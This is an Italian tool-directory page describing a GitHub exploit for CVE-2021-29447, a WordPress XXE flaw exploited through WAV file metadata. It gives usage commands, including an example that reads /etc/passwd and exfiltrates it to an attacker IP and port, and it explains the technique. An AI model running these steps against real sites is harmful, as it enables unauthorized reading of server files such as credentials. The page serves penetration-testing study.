Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/danilo1992-sys/cve-2021-29447
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdanilo1992-sys/cve-2021-29447

CVE-2021-29447

Exploit per CVE-2021-29447, una vulnerabilità XXE in WordPress 5.7.0 e versioni precedenti. Genera payload WAV dannosi per leggere file arbitrari del server tramite iniezione di entità esterne XML. Include un ambiente di test Docker.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
5 mesi faNon ancora revisionato

CVE-2021-29447 - Exploit della vulnerabilità XXE di WordPress

Descrizione

Questo repository contiene un exploit per CVE-2021-29447, una vulnerabilità XXE (XML External Entity) presente in WordPress 5.7.0 e versioni precedenti. La vulnerabilità risiede nella libreria multimediale che elabora file WAV, consentendo a un attaccante di leggere file arbitrari dal server.

Requisiti

  • Bash
  • Python 3
  • Docker e Docker Compose (per avviare l'ambiente di test)
  • Server WordPress vulnerabile (5.7.0 o inferiore)

File

FileDescrizione
CVE-2021-29447.shScript di exploit che genera il payload WAV e il file DTD malevolo
decode.phpScript PHP per decodificare dati esfiltrati (base64 + zlib)
docker-compose.ymlAmbiente Docker con WordPress vulnerabile per test

Utilizzo

1. Avviare l'ambiente di test

root@kitploit:~
docker-compose up -d

2. Eseguire l'exploit

root@kitploit:~
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <file_obiettivo>

Parametri:

  • -l IP dell'attaccante (LHOST)
  • -p Porta dell'attaccante (LPORT)
  • -f Percorso del file da leggere sul server
  • -h Mostra aiuto

Esempio:

root@kitploit:~
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. Decodificare i dati

I dati esfiltrati saranno codificati in base64 e compressi con zlib. Per decodificarli:

root@kitploit:~
php decode.php

Tecnica

L'exploit funziona inserendo un'entità esterna XXE nei metadati di un file WAV. Quando WordPress elabora il file, il parser XML risolve l'entità esterna, facendo sì che il server effettui una richiesta HTTP al server dell'attaccante con il contenuto del file codificato nell'URL.

Riferimenti

  • CVE-2021-29447
  • WordPress 5.7.0 - Rilascio di sicurezza

Avviso

Questo codice è solo a scopo educativo e per test di penetrazione autorizzati. Non utilizzarlo su sistemi senza autorizzazione esplicita.

Scarica lo strumento